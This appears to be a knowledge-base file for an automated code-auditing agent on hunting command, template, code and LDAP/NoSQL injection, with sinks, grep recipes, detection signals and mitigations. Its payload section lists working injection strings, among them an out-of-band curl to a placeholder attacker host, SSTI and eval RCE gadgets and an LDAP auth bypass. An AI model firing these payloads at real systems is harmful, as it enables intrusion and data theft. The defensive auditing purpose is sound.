--- name: sh-kb-injection description: "Knowledge base for finding command/OS injection, template injection (SSTI), code injection (eval), and LDAP/NoSQL/expression injection. Use when hunting injection into shells, template engines, interpreters, or directory queries. CWE-77/78/94/917, OWASP A03:2021-Injection." --- # Command / Code / Template Injection - Hunter Knowledge Base Attacker input is interpreted as an OS command, program code, template expression, or query language. Frequently yields remote code execution - treat confirmed cases as critical. ## Sub-classes & sinks ### OS command injection (CWE-78) - **Python**: `os.system`, `subprocess.*(..., shell=True)`, `os.popen`, `commands.getoutput`. - **JS/TS**: `child_process.exec`, `execSync`, `spawn(cmd, {shell:true})`, backtick shell libs. - **Java**: `Runtime.exec(String)`, `ProcessBuilder` with a shell string. **PHP**: `system`, `exec`, `shell_exec`, `passthru`, backticks, `popen`, `proc_open`. **Go**: `exec.Command("sh","-c",str)`. - **Ruby**: backticks, `system`, `%x[]`, `Open3` with a shell string. - **C#**: `Process.Start` with `UseShellExecute=true` or `cmd /c` + string; `ProcessStartInfo.Arguments` built by concatenation (argument injection). **Node**: `exec`/`execSync` with template literals; `shelljs.exec`. - **Argument injection (no shell needed)**: user value becomes an option of a fixed binary (`git`, `tar`, `curl`, `ssh`, `rsync`, `find`, `convert`, `zip`, `wget`): a leading `-` or `--option=value` is parsed as a flag. Seen with list-form `subprocess.run(["git", "clone", url])`. Safe only with a `--` terminator, an allowlist, or a check that rejects a leading `-`. Also check Windows `cmd.exe`/batch quoting, which differs from POSIX. Danger: user data concatenated into the command string; shell metacharacters `; | & $() \`\` > <` not neutralized. ### Code / eval injection (CWE-94/95) `eval`, `exec`, `Function(`, `setTimeout(str)`, `vm.runInContext`, `pickle`/`yaml.load` (see deserialization), PHP `eval`/`assert`/`create_function`, Ruby `eval`/`instance_eval`/`send(userStr)`. Also: `eval`-like config (Spring `@Value`/SpEL evaluated on user strings, Groovy `GroovyShell.evaluate`, Rhino/ Nashorn script engines, `ScriptEngine.eval`), JS `new Function`, `require(userPath)`/dynamic `import(user)`, Python `__import__`/`getattr(mod, user)()`, `compile(`, Django/Rails/Laravel **dynamic dispatch** (`send`, `public_send`, `constantize`, `call_user_func($user)`, `$$var`), and `preg_replace` with the removed `/e` modifier on old PHP. ### Server-Side Template Injection (SSTI, CWE-1336) User input concatenated into a template *before* compilation: Jinja2 `Template(userStr).render()`, `render_template_string(user)`, Twig, Freemarker, Velocity, Handlebars, ERB `ERB.new(user)`, Thymeleaf expressions, Go `text/template` parsing user strings. (Passing user data as a *context variable* is safe; compiling user data as the *template* is not.) Also: Pug/EJS/Nunjucks/Mustache-with-partials `render(userString)`, Smarty `fetch("string:" . $user)`, Blade `Blade::render($user)`, Razor/RazorEngine runtime compile, Django `Template(user)`/`Engine.from_string(user)`, Spring view names built from input (`return "x/" + param` resolves expressions in some Thymeleaf setups), and **stored** templates (email/notification/report/CMS templates editable by a tenant admin) that render server-side. A reflected value that is evaluated (`{{7*7}}` gives 49) is the tell. ### LDAP / expression / NoSQL injection LDAP filters built by concat (CWE-90): `(&(uid=)...)`. NoSQL `$where`, operator injection (see sqli cheatsheet): Express `findOne({user: req.body.user, pass: req.body.pass})` where JSON or `qs` bracket syntax (`pass[$ne]=x`) supplies an object; Mongoose `$where`/`$function`; Python `pymongo` fed `request.json`. SpEL/OGNL/ MVEL expression eval on user input (CWE-917). Related, owned by sibling KBs but often found here: XPath injection, header/CRLF injection (CWE-113), SMTP header injection in mail `To`/`Subject`, log injection, CSV/formula injection, and argument injection into SQL-like engines. Note them in `attempts.md` for the owning hunter rather than filing. ## Detection recipe 1. `graft grep "shell=True|child_process|Runtime.exec|shell_exec|render_template_string|\beval\(|ProcessBuilder|exec.Command" --json`. 2. Trace the command/template/expression argument to an untrusted source. 3. Check for argument-vector usage (safe: `subprocess.run(["ls", arg])` without shell) vs shell string (unsafe). Then check the vector for argument injection (leading `-`, missing `--`). 4. Find **indirect and second-order** flows: values stored earlier (filename, hostname, profile field, repo URL, webhook target, image name) later interpolated into a command by a cron job, queue worker, CI step, or admin tool; environment variables, HTTP headers (`User-Agent`, `Host`, `X-Forwarded-*`), and file metadata passed to shell helpers; `Makefile`/shell scripts and Dockerfiles that take build args from user input. 5. Look at **wrappers**: grep project-local helpers named `run`, `sh`, `execute`, `shell`, `cmd`, `git`, `ffmpeg`, `convert`, `pdf`, `ping`, `nslookup`, `exportTo` - the sink is often one level down and the callers are many. 6. For templates, grep every template-loading call and ask whether the first argument is a constant file/name or any string that could be influenced (`from_string`, `render_template_string`, `Template(`, `compile(`, `ERB.new`). 7. Extra grep: `os\.popen|popen\(|spawn\(|execFile|Process\.Start|Kernel\.system|%x|GroovyShell|ScriptEngine|SpEL| ExpressionParser|parseExpression|new Function|vm\.run|call_user_func|Template\(`. ## Variant hunting Once one injection is found: grep the same wrapper or helper for every caller; search for the same string-building pattern (`f"...{x}"`, `"..." + x`, template literal) next to other `exec`-family calls; check sibling endpoints that accept the same field (an upload name, `host`, `url`, `branch`, `format`, `lang` parameter); check the admin, cron, import/export, health-check, diagnostic, and "test connection" features, which commonly shell out; check copy-pasted code in other services, scripts, and CI workflows; look for the same parameter reaching both a safe and an unsafe call (the unsafe twin was missed in the fix). ## Payloads / PoC - Command: `; id`, `| id`, `$(id)`, `` `id` ``, `& ping -c1 attacker`, newline `%0a id`. OOB: `; curl attacker/$(whoami)`. - SSTI (Jinja2): `{{7*7}}` -> `49` confirms; escalate `{{ ''.__class__.__mro__[1].__subclasses__() }}` ... RCE gadget. - SSTI (Freemarker): `<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}`. - eval (JS): `1;process.mainModule.require('child_process').execSync('id')`. - LDAP: `*)(uid=*))(|(uid=*` for auth bypass / enumeration. ## False-positive filters - **Argument vector, no shell**: list-form `subprocess.run([...])`, `execFile`, `spawn` without `shell:true`, `ProcessBuilder` with separate args - arguments can't inject commands. - Input strictly validated/allowlisted (enum of allowed commands), or a numeric/enum type. - Template compiled from a **constant**; user data only supplied as bound context variables. - Fully hardcoded command with no user data. - The value is validated to a numeric/enum/UUID/strict regex (`^[A-Za-z0-9_.-]+$` with no leading `-`) before it reaches the sink; check the regex is anchored (`\A...\z`, `fullmatch`, not Python `re.match` with `$` allowing a trailing newline) and applied to the same value that is used. - Escaping helpers used correctly: `shlex.quote`/`escapeshellarg` around the *whole* argument and not inside an already-quoted string; they do not help argument injection, and `escapeshellcmd` is not a safe substitute. - Template engine in a sandboxed mode **and** user data limited to the sandbox's reach; note sandboxes have been escaped, so report as lower confidence rather than dismissing. - Real evidence of a finding: a traced path from an attacker-reachable source to the sink with the quoting/escaping state at the sink shown (shell string, vector, template source), and a minimal test string that would change meaning there. For blind cases, say so and give the out-of-band check. ## Detection signals (for defenders) - **Logs needed**: web/proxy/WAF logs (full URL, body where permitted, headers), application logs and exception traces, EDR or auditd process-creation events with parent process and command line, container runtime and Kubernetes audit events, egress firewall/DNS/proxy logs. - **Attempts**: shell metacharacters, newlines, backticks, `$(`, or leading `-` in parameters that normally hold identifiers/hostnames/filenames; template delimiters (`{{`, `${`, `<%`, `#{`) in fields that are not template fields; operator-shaped JSON values (`{"$ne":...}`) where a string is expected; bursts of 500s or timing anomalies on one parameter (blind probing with sleeps). - **Success**: the application runtime process (web server, python, node, java, php-fpm, ruby, dotnet) spawning a shell or recon/network binary (`sh`, `bash`, `cmd.exe`, `powershell.exe`, `id`, `whoami`, `curl`, `wget`, `nc`, `ping`/`nslookup` to unusual hosts); child processes of an app that normally never spawns any; DNS lookups to unfamiliar domains from the app host right after a request (out-of-band confirmation); new files or cron entries written by the app user; reads of `/etc/passwd`, cloud metadata endpoint, or environment secrets by the app. - **Behaviour detection ideas**: (1) process-creation rule on parent in {web server, app runtime} and child in {shell, interpreter, download or recon tools}, optionally excluding a baselined allowlist of legitimate children; (2) join inbound request time to first-seen outbound DNS/HTTP destinations from the same host within a few seconds. - **ATT&CK**: T1190 (Exploit Public-Facing Application), T1059 (Command and Scripting Interpreter; .004 Unix Shell, .003 Windows Command Shell), T1505.003 (Web Shell) if persistence is dropped. ## CWE / OWASP / severity CWE-77/78 (command), CWE-94 (code), CWE-1336 (SSTI), CWE-90 (LDAP), CWE-917 (expression). OWASP A03:2021. Confirmed RCE -> **critical**; blind/limited -> high. ## Chaining hints Any of these -> RCE -> read `secrets`/env -> lateral movement; SSTI often escalates from a reflected value; LDAP injection -> `auth` bypass. RCE is usually a chain terminus (full compromise). ## Mitigation Avoid shells: use argument-vector APIs (no `shell=True`). Never `eval` user input. Never compile templates from user input; pass data as context only. Parameterize/escape LDAP filters. Allowlist where a set of commands is genuinely needed. Run with least privilege and in a sandbox/container.